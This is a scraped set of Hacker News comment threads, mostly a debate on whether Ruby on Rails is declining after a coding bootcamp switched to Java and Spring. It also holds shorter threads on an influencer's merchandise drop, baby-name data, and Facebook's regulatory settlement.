</comment><comment><USER3> Don't think there is an "influencer bubble", especially since "influencer" is such a strange term. Simpler explanation: influencers this day and age, really, have 2 jobs mashed into one: content creator and salesperson. From what this article said, this drop had neither the content to sell ("plain black branded shirts", nothing unique) nor the sales techniques (the article goes in-depth into this too). I hope she learned and improves her next drop so it's better next time.

</comment><comment><USER4> Isn't this problem why Walmart is interested in TikTok?

Teenager sees an article of clothing an influencer is wearing and then taps a button for it to be delivered with 2-day Walmart+ shipping in their size.

<comment><USER5> I thought Walmart's interest in TikTok was about tracking demographics, user location and consumer tastes in China.

<comment><USER6> They'd only be buying the non-Chinese operations is what I heard.

</comment></comment></comment><comment><USER7> This interesting, I was looking through popular instagram stars such as Messi and not even 30% of his followers are real users.

<comment><USER8> How do you measure that?

</comment></comment><comment><USER9> Does PG have a t-shirt line?

</comment><comment><USER10> (2019)

<comment><USER11> Also, it was discussed on HN at the time as well:

[https://news.ycombinator.com/item?id=20190886](https://news.ycombinator.com/item?id=20190886)

[https://news.ycombinator.com/item?id=20063667](https://news.ycombinator.com/item?id=20063667)</comment></comment>


Ruby on Rails is out: major coding bootcamp ditches it, due to waning interest - <AUTHOR> https://thenextweb.com/dd/2017/07/26/ruby-rails-major-coding-bootcamp-ditches-due-waning-interest/ <comment><USER4> IMHO, the main reason Rails is declining in relevance isn't microservices or the productivity (!) of Java, but the fact that more and more development effort for web applications is moving into JS front-end coding.

I still love Rails, but when your front end is mostly done using React (or something similar) you lose many of the advantages you previously had when almost your full stack was inside Ruby and Rails.

The latest version moved in the right direction by making Webpack a first- class citizen, but what would really make a big difference would be some kind of native integration of a mature front-end framework. My personal choice would be React, but anything would do as long as the connection between the Ruby API part and the Javascript front-end part followed the DRY and "convention over configuration" principles that made Rails great in the first place.

If I could scaffold CRUD interfaces with basic React components already integrated with the Rails API, and then start developing from there, I would become a much happier programmer :)

<comment><USER5> > IMHO, the main reason Rails is declining in relevance isn't microservices or > the productivity (!) of Java, but the fact that more and more development > effort for web applications is moving into JS front-end coding.

This. I also suspect that for developers whose first language - or primary language these days - is JavaScript it's a lot more comfortable to reach for a Node backend framework when they need it. Also, Go has become pretty popular for somewhat more custom or complex backend tasks. Plus, there are more and more high-level third-party services offering different pieces of backend functionality.

<comment><USER6> I would consider JavaScript my primary language, and you're right - Node is usually my go-to choice for a web backend. Express is pretty easy to grasp and be productive with.

But when I need more (auth, orm, logging, etc.), I feel like I'm spending more time searching for and curating packages and then trying to get them integrated than I am actually building an application.

Rails (especially its API flag) has caught my attention recently because this becomes a non-issue - you pretty much just use what Rails has included.

<comment><USER7> Huh I have had a very easy time integrating passport, mongoose, and morgan respectively for the above 3 asks.

<comment><USER8> I'd normally also have to select packages for sending emails, running background jobs, internationalization, templates, validation, file uploads and caching at a bare minimum. Then I'd have to make sure they all work well together, setup testing and probably have to write additional functionality that Rails or Django already covers.

Frameworks like Rails and Django cover a ton of functionality and gluing together and maintaining a set of packages to cover even a fraction of that functionality is a ton of work that's often for very little gain.

<comment><USER9> Check out hapi. [https://hapijs.com](https://hapijs.com)

</comment></comment></comment></comment></comment></comment><comment><USER10> As a developer who currently works with Rails, there's a deeply cynical part of me that says, "Good for Rails, then! I guess the trendy ones are leaving because Ruby and Rails have finally achieved some level of sanity."

Ruby itself seems to have settled into a groove. I don't see it ever getting too much faster, which is fine with me. I mean obviously I want _moar speed_ but as a glue language, I think it's fast enough for what it is. GC has been pretty nice since 2.2 or so; we basically don't worry about it in our big monolith app at this point.

Rails is... kind of wacky, still, but again, decently mature... mature-ish. Mature enough. At least compared to the insane Lovecraftian existential dread- inducing abyss that is the Javascript ecosystem.

(I realize the article's about Java, not JS, but let's face it. JS is siphoning people away from RoR, not Java. Java devs have always been in demand; that's just something boot camps have ignored because it's _popular_ but not _trendy_ )

<comment><USER11> > I don't see it ever getting too much faster

ruby 3 will be 3 times faster [http://engineering.appfolio.com/appfolio- engineering/2015/11...](http://engineering.appfolio.com/appfolio- engineering/2015/11/18/ruby-3x3)

> Rails is... kind of wacky, still,

in what manner? it is one of the most well well crafted and thoughtful pieces of software i've ever used. It has never been "wacky" for me, behaved unexpectedly, or require convoluted effort.

<comment><USER10>
        > ruby 3 will be 3 times faster

The goal is "three times faster than Ruby 2.0" though, which means we're already part of the way there.

I'm not entirely sure the 3x speedup is possible; it was just kind of a vague goal from Matz meant to be a rallying cry.

You can get a taste of the future today with bootsnap (not to be confused with Bootstrap) which enables roughly 2x faster app startup thanks to compiled bytecode caching.

The other major speedup on the horizon is probably the effort to make all objects invariant by default. You can get a taste of that today with frozen string literals, though the impact is not huge, which is why the "3x faster" thing seems like a stretch to me. (It's possible that more impactful optimizations are possible if/when this invariance-by-default becomes a core language feature)

I'm no low-level Ruby VM hacker though so my opinions are not especially well- informed. I hope I'm wrong and we soar right past 3x and get a 10x speedup eventually. =)

        > in what manner? it is one of the most well well crafted and thoughtful pieces of software i've ever used.

I like Rails! The main wacky thing to me is the way in which it modifies so many core Ruby classes. I understand the the ability to so is a part of the core Ruby and/or Rails magic, but I actually _don 't_ necessarily like my framework to blend so seamlessly with my language.

Most non-trivial Rails apps need to veer off the rails at some point due to user/business needs, and that's when dealing with Rails (and the tendrils it has wrapped around so much of Ruby) gets tough.

<comment><USER11> Yeah, we'll have to see about ruby 3. I know they're at least making deliberate effort - and are pondering some static typing. I've never been truly bitten by ruby performance, or ever found it so. But Crystal seems like an interesting language if/when that becomes a larger issue.

> The main wacky thing to me is the way in which it modifies so many core Ruby > classes.

Ok, fair enough. I actually wish they were part of ruby, more often than not. But I do appreciate them, and use them often. I don't have a puritan objection to their presence, though. I view it as making the world a little nicer.

> Most non-trivial Rails apps need to veer off the rails at some point due to > user/business needs, and that's when dealing with Rails (and the tendrils it > has wrapped around so much of Ruby) gets tough.

I must disagree with you about jumping off rails. There are numerous, complex large scale applications out there, running on rails. Github, hulu, shopify, basecamp, to name a few. I've worked on complex rails applications and they've performed really well, overall. On top of that, they were approachable and maintainable, even for junior devs.

Most businesses are in fact fine starting on rails, and staying on rails. When i say most, I mean 95%. Short of becoming a twitter or reaching similar huge scale, rails will carry you very, very, very far.

<comment><USER10>
        I've never been truly bitten by ruby performance, or ever found it so

I've never by bitten by Ruby's runtime performance. It's "fast enough" and for common use cases that need more performance, there's usually a C extension (nokogiri, etc) on tap.

Mostly, performance is an issue with large apps and their rspec run times and app startup times. (And of course, those are not purely -- or necessarily even _primarily_ \-- Ruby's fault, but still)

        There are numerous, complex large scale applications out there, running on rails.

Rails is definitely pretty hackable to fit one's own needs, but that's where the "convention over explicit configuration" stuff becomes a hindrance rather than a help.

Don't get me wrong, it's not awful, it's pretty good.

        Most businesses are in fact fine starting on rails,
        and staying on rails. When i say most, I mean 95%.

I agree! Like I said in my initial post I generally like where Ruby and Rails are at.

Our big old Rails monolith (started on Rails 2, currently on 4.2, and hopefully on 5.x in a few months) has carried us to about $500mil projected revenue this year. Could other stacks have done the job better? Quite possibly, but they quite possibly might have been much worse as well. =)

<comment><USER11> > Mostly, performance is an issue with large apps and their rspec run times

I hear you! I hate long test suit runtimes, and they are easily grown. I made a gem to address this, by running your test suite across a cluster of cloud VM's and reduce test times from 30 minutes to 30 seconds. [http://github.com/meesterdude/cloudspeq](http://github.com/meesterdude/cloudspeq)

> but that's where the "convention over explicit configuration" stuff becomes > a hindrance rather than a help

I feel It just gets you going - you have a foundation you can run with - <USER2> one that other devs will know "out of the box", which means onboard is easier/faster. But it's never meant it's not configurable. You'll still need to cache, to adjust web servers and background jobs and all of course. But rails makes it possible, easy (and fun!) for one person to do all that.

> Our big old Rails monolith (started on Rails 2, currently on 4.2, and > hopefully on 5.x in a few months) has carried us to about $500mil projected > revenue this year.

Dayum! Well done! Do you know how many requests a second you serve and the avg. response time?

> Could other stacks have done the job better?

I think so long as you haven't been severely bitten by scaling or performance issues; the product itself is what matters so long as the technology can deliver on it. Clearly you're doing pretty well regardless! Proof is in the pudding.

</comment></comment></comment></comment></comment></comment><comment><USER12> This is a huge bullshit article. RoR is not out it just is not sexy anymore and there are way more Java jobs than Ruby jobs. Bootcamps are businesses like any others and they only care about making money. Of course they ditch Ruby/RoR if their customers want to learn the tech that is in demand. If you compare the raw numbers the only stacks worth learning are Java,C# and JavaScript.

<comment> aaron-lebo _RoR is not out it just is not sexy anymore_

 _Of course they ditch Ruby /RoR if their customers want to learn the tech that is in demand._

You seem to be agreeing with the article but disagreeing over phrasing?

Ruby and Rails aren't special anymore, there's lots of other languages which can do the same thing but have huge advantages. Then again, that was the case going back to 2007 (Pylons is but one example - the Rails template on a better VM and with more libraries available and none of the bloat and magic). Rails has always been about hype and that hype doesn't matter when other stacks have 10x the performance and are just as productive.

Brb, gonna go kill some zombie fcgi processes.

<comment><USER12> RoR is special that it does one thing exceptionally well. And that is monolithic web applications. I do not know how you measure productivity no other stack comes close to RoR.

<comment><USER13> On the other hand, I'd say RoR optimizes productivity for Day 1 at the expense of Day 60+. I abandoned RoR because I didn't like that deal.

</comment></comment></comment></comment><comment><USER14> A few days ago a code school raised $85,000 USD on Kickstarter[0] to build a Rails application.

Rails is really stable and has a battle hardened community around it. That's a good combo for teaching, learning and practical usage.

When it comes to teaching / learning / real world usage, the last thing you want to deal with is 18 new versions of 5 different tools every month.

[0]: [https://www.kickstarter.com/projects/leotrieu/build-your- own...](https://www.kickstarter.com/projects/leotrieu/build-your-own-airbnb- with-ruby-on-rails-and-react)

<comment><USER15> Additionally, it's still a great choice to back any fancy modern front end tool. API mode and/or Webpacker.

I'd love for bootcamps to stop teaching Rails so the rest of us can start raising the bar again.

<comment><USER11> > I'd love for bootcamps to stop teaching Rails so the rest of us can start > raising the bar again.

this is my takeaway as well. It's still lightyears ahead of anything else out there, and the bang for the buck is hard to match.

</comment></comment></comment><comment><USER16> They are moving to Java+Spring. Is this not just a move from training Rails devs for startups towards training Java devs for big companies? I don't think this is about waning interest in Rails at all, I think it's a move to reposition the bootcamp in a bigger skills market.

<comment><USER17> I have been working for more than 6 years with Ruby on Rails, and I can definitely tell you, there is waning interest.

Many of the core team members of Rails have long moved on to other technologies.

Companies don't see Rails as something that will give them an edge anymore. Yes, it is quick to develop a prototype in, yet the ongoing performance optimizing burden and the mess it becomes at large scale are not worth it anymore.

Competition has been catching up, and many modern frameworks have taken the best out of Rails, while ditching the not-so-good parts.

The job market for Rails devs seems to be pretty dry. Many Rails devs I know, including myself, do not get even 10% of Rails job offers anymore, as it used to be until a couple of years ago.

Ruby, as a language, is completely stuck and stale, and has been for a long time now. There is no real innovation, the single-threadedness and the GIL are just not good enough in 2017. Ruby 3 has been announced for 2020, and if you ask me, what is promised in terms of features is rather too little, too late.

Rails, as a framework, has been steadily releasing improvements and new features, yet those are either not that relevant, or poorly implemented (e.g ActionCable). The framework's creator, DHH, has been very opinionated about the strength of Rails monolithic approach. To me, this is not where the industry is heading (like it or not) and Rails is going to have a tough time keeping up with the latest software architecture trends like microservices (again, like it or not, microservices are here and they solve real problems).

Rails will be there for a long, long time, no doubt about it. But for many of us, it's just not that sharp knife it used to be anymore. Better accept it sooner than later.

<comment><USER18> I'm halfway through Michael Hartl's RoR tutorial (IMHO, it's very good) and so your comment is a little disheartening. What are the top one or two technologies (aside from just Javascript) that you would learn today?

<comment><USER17> Finish that tutorial, understanding Rails will help you undertand better other frameworks that were inspired by Rails.

Or, if you ask me, learn Elixir + Phoenix. I'm betting part of my future career and my company on it, because I believe that it's the future. But Go, Clojure or Scala are great choices for web development as well these days.

<comment><USER19> Elixir is hardly visible in the jobs market. At least if Indeed.com is to be believed. It's too niche. Clojure is at least as good as Elixir, if not better, and has failed to gain widespread adoption after 8 years since 1.0 so I don't see Elixir going anywhere. There's just too much competition.

<comment><USER18> Can you recommend one or two language + framework combinations that might be a better choice than RoR?

<comment><USER19> Elixir/Phoenix, Clojure/Luminus, ClojureScript/Macchiato and Scala/Play are arguably better than Rails if you really grok FP but they don't have the community, maturity and adoption that Rails has enjoyed for a long time. If you're ok with OO monoliths Rails is hard to beat.

</comment></comment></comment></comment></comment></comment></comment><comment><USER20> It's the end of an era. From 2005 to 2007, the "Web 2.0" craze, the release of Ruby on Rails, and the rise of Agile methods all happened at once. These ideas all fed into and supported each other, resulting in a cohesive movement with a lot of momentum. The long-term fact turned out to be that this movement didn't benefit large corporations that have always been and usually still are the main source of employment for software developers. So we have returned to our pre-Rails, pre-agile world of high specialization and high bureaucratic control, even if Rails and "Agile" still exist with some popularity.

The Web 2.0 concept, which was mainly just marketer-speak for using a lot of AJAX, survived and continued. Agile survived but was transformed into its own opposite. Rails continues, but it has lost its ability to draw newcomers, which was its source of vitality. This is not because the technology has changed, but because the world around it has changed.

<comment><USER21> The Web 2.0 concept was more about the read/write web and user-generated content than it was about Ajax.

<comment><USER22> That's not how it felt at the time.

In a lot of places, learning Ajax was synonym to learning Web 2.0.

</comment></comment></comment><comment><USER23> Using new SO questions as a metric for popularity is kind of weird. I mean, if people keep asking questions and getting answers, at some point people looking for something already have an answer, right? Even when accounting for duplicates, you can expect the amount of new questions to lower with time.

I guess a better metric would be the amount of upvotes over time for questions and answers about a topic.

<comment><USER24> I've made this point a few times here on HN. StackOverflow QA& isn't really a good indicator of anything industry wide.

Most experienced developers who know their language just use API docs if needed to get things done. Sure there might be some obscure edge scenario you need to ask a question about once in a while.

Beginners ask lots of questions also new languages/frameworks will generate interest and questions. That doesn't mean those are the things that are most used or most in demand in the industry.

Also SO primarly contains questions on open source based web programming. This discounts entire sectors of the industry using proprietary tech.

SO likes to publish their metrics since it brings more attention to them, its marketing, they are a business.

A good way to track things would be if job postings (not just SO careers) could somehow be marked as filled. Then you could ascertain from the description what tech stack is used.

</comment></comment><comment><USER25> _" There's plenty of really great web development alternatives," Shaw said, mentioning React, Vue.js_

How on earth are those alternatives for Rails?

<comment><USER26> The sentence starts with a direct quote, but ends with a sparse summation. The connection between these two may have been vague or even nonexistent except in the writer's mind.

</comment></comment><comment><USER27> I learned Rails via Code School and Michael Hartl's excellent tutorial, and almost began building real apps with it before settling on Django + REST Framework + Ember. 2 years later, I'm now learning React.

With ES6/ES7/ES8 becoming reality, I would welcome a move toward a JS/CoffeeScript framework that allows sharing of code between client and server.

But of all the options I have seen, nothing offers the simplicity of elegance of Django's Models and REST Framework's ModelSerializers.

It's really a shame there is no "perfect" isomorphic alternative to Django and Rails, because so much time is wasted doing the research and making the tweaks necessary to get the client and server to talk to each other properly. Not to mention having to learn the intricacies (and idiosyncrasies) of two languages and avoid mistaking one's idioms for the other's.

One of my long-term goals is to learn enough JS/CoffeeScript to be able to port parts of Django and REST Framework to Node.js and the client, along with enhancements that make pub/sub easy, and glue that enables effortless connection to a view library like React.

I realize there are existing solutions that almost achieve what I want, but none is ideal (Backbone doesn't support ES6 classes and doesn't do isomorphic out of the box, Meteor prefers MongoDB over an RDBMS, etc.)

<comment><USER28> TypeScript is probably your best bet. Static typing the same classes on the front and backend is going to make any REST API easier to develop. Another alternative is using something like protobuf [1] to define your data models.

[1] [https://github.com/google/protobuf](https://github.com/google/protobuf)

<comment><USER27> I'm interested in TS, but I've been working with CoffeeScript (and Python) for 2 years and am very fond of significant whitespace (and not at all fond of semicolons and curly braces). There was a Typed CoffeeScript project, but nothing is active now. And CoffeeScript 2, with built-in support for JSX, is in beta.

</comment></comment></comment><comment><USER29> Rails is a kitchen-sink of tools for building full stack server rendered monolithic web applications. Even the built in support for webpack/React ("webpacker") feels very "rails-ey" compared to just using node. It's still a great framework but it doesn't seem too shocking that bootcamps, trying to teach the new web-dev hotness to students as fast as possible, would drop it. I just wish the article wasn't so dramatic.

<comment><USER5> They're replacing it with Java/Spring. That's hardly the new web-dev hotness. I suspect this change is less a reflection on Rails and more an indicator that there is a business opportunity to teach new programmers Java, because there are tons of legacy Java apps out in the wild, and the resources for learning Java these days are terrible compared to learning, say, JavaScript.

</comment></comment><comment><USER30> "Is the end of Ruby on Rails nigh? Everything seems to point that way."

As soon as I read that, I just stopped. I know the point of this article is to get a big reaction out of the dev community. I'm quite happy with my Rails back-end and React front-end, thank you! Stable, tons of community support, quite fast for my needs.

Only Siths deal in absolutes?

</comment><comment><USER31> There's still nothing to beat RoR in terms of productivity and lines of code.

I'm happy to switch to another full stack framework if I can see a clear benefit but as yet nothing comes close.

<comment><USER32> Check out Elixir/Phoenix Framework. It is supposed to be by ex-RoR people.

<comment><USER11> Elixir/Phoenix is not what I would consider a step forward, or something to jump over to. While perhaps technically you can put more load on it - <USER3> sacrifice a lot of syntax, approachability and general developer happiness that you get with Rails. Tradeoffs I am not willing to make given the rails stack is more than fast enough.

<comment><USER19> Elixir hasn't really made its presence felt in the job market yet so it's too early to bet on.

</comment></comment></comment></comment><comment><USER33> Spring Boot is simply exceptional; it makes web application development fast, as it's said to be with Django and Rails, but retains a lot functionality from the Spring environment. I can't recommend it enough - things like Django and Rails just feel "old" after using Spring boot - even tough a good part of Spring power comes from the language and the tooling - some features (like automatic json-to-object conversion with correct typing, or object-to-object mapping) are just very hard to implement in a dynamically typed language.

<comment><USER34> Doesn't look very fast on benchmarks: [https://www.techempower.com/benchmarks/#section=data-r14&hw=...](https://www.techempower.com/benchmarks/#section=data-r14&hw=ph&test=plaintext) .

<comment><USER33> I don't understand the benchmark completely (there seem to be some web server or "network programming framework" mingled with web frameworks? wut?), by the way I'm sure that pure speed is not Spring best virtue, and it's not Java's either, unless you take care at pre-warming the JIT and you've got enough RAM (and I suppose that, even then, Spring would be slower than other, 'shallower' frameworks).

Spring makes it easy and fast to develop web applications, AND evolve them in time. A lot of things are ready out of the box, but you can easily customize many, many parts of your application when and if you actually need it, substituting what the framework would do for what YOU actually need. I haven't found anything like that, yet, in other web frameworks (admittedly: there's tons out there, so I probably tried 1% of them).

<comment><USER35> > I'm sure that pure speed is not Spring best virtue, and it's not Java's > either

Go look at those benchmarks again. Over half of the top 10 are JVM servers.

<comment><USER33> Yes... SERVERS... not frameworks. Usually Java-based frameworks are a bit more complex than Python/Ruby/Javascript based ones.

<comment><USER35> Plain old java servlets are the #1 result on the json benchmark, at over half a million requests per second. The implementation is less than 40 lines, most of which is imports / comments / curly braces.

I have no idea what point you're trying to make with regards to complexity or some kind of server vs framework distinction.

</comment></comment></comment></comment></comment></comment><comment><USER36> My master plan is coming to fruition. Become Rails dev, Rails goes out of fashion, market myself as Rails expert, profit. Ah who am I kidding, I dont have the energy to market myself as anything.

</comment><comment><USER37> I'm no fan of Ruby on Rails _BUT_ measuring it by its popularity within coding bootcamps is not exactly the best metric. While they do provide hype around a technology, RoR is sufficiently established (and has been before coding bootcamps were around) that it doesn't need to be popular within those circles in order to thrive.

If anything, what's popular among coding bootcamps is more indicative of the kind of junior positions which are more readily available.

</comment><comment><USER38> Having been a rails engineer for 12+ years, I can say I haven't used rails for front end work in about 5 years. In 2011 I started migrating front ends from erb to ERB heavily enhanced with angular, my frontends relied more and more on an API and slowly, the "@" instance variable assigment started to disappear from my controllers.

I'd say many shops have had a similar experience, and full stack development no longer depends on rails for frontend. Which means that the only rails jobs out there, are likely backend/API/distributed systems.

There was a time when I thought rails was out the door and node.js was in, and I converted several large rails codebases over to node.js/express. Looking back, I don't think the node.js community was strong enough, and even today I still miss Ruby's debugging ecosystem.

I once sat down to write a medium post a few years back on why rails is still the best choice for backends. I would cite the number of packages for sidekiq, the diversity of email handling libraries, and the multitude of packages to handle just about everything. I compared it to rust, and go. The only problem was, any time I tried to say "rails has this, X doesn't" Go had X.

Rails will stick around, but I'd recommend smart engineers diversify. Study modern node.js codebases (things have gotten much more manageable with await/async). Study Go. Also, check out actioncable, and start a new rails project with "rails new --webpack=react" and build something. Seems the rails team has embraced the modern world, which may make it one of the best cohesive ecosystems right now.

</comment><comment><USER39> > Replacing it is a Java course, which will emphasize the Spring application > development framework.

This says much more about the fact that coding bootcamp grads tend to go into bigger companies more than abything about Rails itself.

</comment><comment><USER40> I wonder if every bootcamp flooding the market with Rails devs and subsequently putting huge downward pressure on wages had anything to do with waning interest. I saw this happening years ago and moved quickly in more niche technologies.

</comment><comment><USER41> What drives the popularity of a framework has very little to do with merit. RoR is still the right choice for lots of apps, and makes millions of dollars for lots of companies, no trendy frontend framework required.

JS-heavy frontends and JVM microservices can end up being antipatterns from a user perspective. Increased engineering costs and decreased battety life are not strong selling points. When implemented poorly, SPAs and microservices are scarcely better than make-work for developers.

Most of the time, you should just use Rails and be done with it.

</comment><comment><USER42> I read indeed.com job openings regularly to see what's still in demand and I feel like I've seen a big drop over the years of jobs looking for rails developers but I'm sure github and these job sites have more official stats. Java and JavaScript languages have been jumping in native development a lot more and I think that's a large part of it.

</comment><comment><USER43> I'm pretty sure the Spring framework is not where "developer interest" is going these days.

</comment><comment><USER44> Sentimentally, too bad. Spitefully, good.

I learned of the framework early-ish and following it introduced me to good concepts that I would not have pursued - my undergrad program was ASP.NET forms based.

However, as much as I enjoyed developing with the framework I only got my foot in the door somewhere I got paid for it once. Honestly, that is my favorite project I've done to date ([https://www.wvencyclopedia.org/maps](https://www.wvencyclopedia.org/maps) \- mapping portion only).

So I wish I would've gotten to do more with it, but screw all those Rails shops that would not hire me - and have probably moved on 3 times framework- wise since then anyways. :)

</comment><comment><USER45> This article uses questions on stack overflow as its killer data point. Stack overflow definitionally has fewer questions over time for any technology. If anything this is signaling maturity and stability.

</comment><comment><USER46> Django instead of Rails or Yesod on the latest project. Second iteration will be DjangoREST/VueJS. Third iteration breaking the monolith into smaller services.

I ported Ruby 1.8 to the IBM Blue Gene/L. Nothing out of a dislike for Ruby, it is just that Python libraries far surpass what is available in Ruby land.

Maybe I have low standards, but the benchmark for me is how long to write an app that populates a SELECT form field based on a domain table.

</comment><comment><USER47> Dupe [https://news.ycombinator.com/item?id=14860834](https://news.ycombinator.com/item?id=14860834)

</comment><comment><USER48> Sounds like they are changing their target companies to send their students to from startups to existing incumbents. I'm sure all those old 1990's software companies would love to recruit junior programmers but otherwise find it difficult. And it's probably not a bad way for non-programmers to get a decent first programming job.

</comment><comment><USER49> I think the next step for web development will be a smooth blending of the server and front end which all these node stacks hint at. For instance, defining an endpoint defined both the code for running the endpoint as well as the front end code for consuming it.

By defining both together, you reduce the amount of break points I'm your code dramatically.

</comment><comment><USER50> «Replacing it is a Java course, which will emphasize the Spring application development framework.»

So... It seems that Java is resurrecting.

<comment><USER51> Which will also be a factor of big companies being more willing (or able) to hire junior developers whose entire experience in the language is a boot camp

</comment></comment><comment><USER19> Indeed.com (API) by job title/USA shows 611 Rails jobs, 835 Node.js, 353 Django, 243 Laravel, 117 Symfony and 9 Elixir. For the UK (Indeed.co.uk) it's 239 Rails jobs, 758 Node.js, 234 Django, 441 Laravel, 359 Symfony and 11 Elixir. By what measure is demand for Rails declining? Elixir isn't even close.

</comment><comment><USER52> I am just beginning to learn Django. Would you advise against it??

Even in a JS heavy front-end world, Django seems to be a good candidate to create REST services or JSON Web API's.

And for certain kinds of sites, a combination of a static site with parts of it automated with DRF seem to be a very good fit.

<comment><USER53> Both Django and Rails will be around for many years being useful and making businesses a lot of money. Not to mention I've seen quite a few legacy code bases that would be pretty expensive to replace so there will be maintenance work for a long time as well. They'll never be "the new hotness" again, but that's a bad sign anyway IMO.

</comment></comment><comment><USER54> Surprised they didn't replace it with Node instead.

<comment><USER55> They already have a MEAN stack course.

</comment></comment><comment><USER56> Ruby On Rails is the Elizabeth Taylor of software development.

</comment><comment><USER57> Good, we don't need more wannabes :-)

<comment><USER58> They are creating future work for specialists though... Even AI won't figure out a legacy RoR project.</comment></comment>


Baby Names for Analytical Parents - <AUTHOR> http://gduverger.com/baby-names <comment><USER2> It's nice how data analysis can lead to new conclusions, maybe baby-naming put through hard critical analysis, can reveal more, than just an actress starting her career that year. Now I just need to acquire myself a baby... :)</comment>


How to Survive 80+ Hours of Programming Every Week - <AUTHOR> https://medium.com/search?q=code

<comment><USER2> You've linked to a blog search, not to the article. More, the article was submitted 25 minutes ago:

[https://news.ycombinator.com/item?id=9523933](https://news.ycombinator.com/item?id=9523933)

It already has some discussion, too.</comment>


Facebook Negotiated Its Rules - <AUTHOR> https://www.bloomberg.com/opinion/articles/2019-07-23/facebook-negotiated-its-rules <comment><USER2> This is what I think is the most insightful part of the article:

> But I actually think there's a deeper and stranger explanation here. > Facebook did some things that a lot of people are upset about, some of which > (certain sorts of data sharing) probably violated the laws or its earlier > consent decrees, and others of which (certain sorts of data collection) > didn't. We want to stop it from doing all those things again, and the most > straightforward way to do that is to pass a law saying which things you > can't do. But Americans are biased toward thinking of bad things as being > already illegal, always illegal, illegal by definition and by nature and in > themselves. If the thing that Facebook did was so bad, then it must have > been illegal, so there is no need for a new law against it. At most we need > a settlement with Facebook clarifying exactly which things it did were > illegal and specifying that it won't do them again. People are angry at > Facebook, and that anger takes essentially punitive rather than legislative > forms; we want to regulate Facebook's future conduct as punishment for its > past conduct, not as part of a general law. It is hard to imagine that a > company could have done a bad thing without also breaking the law—which > makes it hard to write new laws to prevent future bad things.

Along with this footnote:

> This explanation draws on an argument that James Whitman makes in his great > book "Harsh Justice," about how American traditions of libertarianism and > distrust of state power actually make our criminal justice system > _harsher_.Whitman writes (page 201): "The strength of the bureaucratized > European state also helps explain another crucial aspect of mildness in > French and German punishment: the capacity of French and German law to > define some forbidden acts as something less awful than 'crimes'—as mere > contraventions or Ordnungswidrigkeiten. When European jurists define these > species of forbidden conduct, they are able to make use of terms and > concepts that would trouble Americans. The justification for punishing > Ordnungswidrigkeiten, according to standard texts, lies in the pure > sovereign power of the state. Because the state is sovereign, the state may > declare certain types of behavior impermissible. Americans will > instinctively rebel against this characteristically continent attitude > toward state power; very few American legal syllogisms begin with the major > premise, 'the state has sovereign power to act.' But it is important to > recognize what Europeans gain by pursuing this form of analysis. Because > they are able to defer to state power, they are able to treat some offenses > as merely forbidden, rather than as evil—as _mala prohibita_ rather than > _mala in se_. The contrast with the United States is strong: our liberal, > antistatist tradition leads us to conclude that nothing may be forbidden by > the state unless it is evil; otherwise the state would have no right to > forbid us to do it. …In consequence we have a harder time than Europeans do > thinking of some acts as not permitted, but nevertheless not terribly > serious." The converse might also be true: We have a hard time of thinking > of some acts as terribly serious but _not already forbidden_.</comment>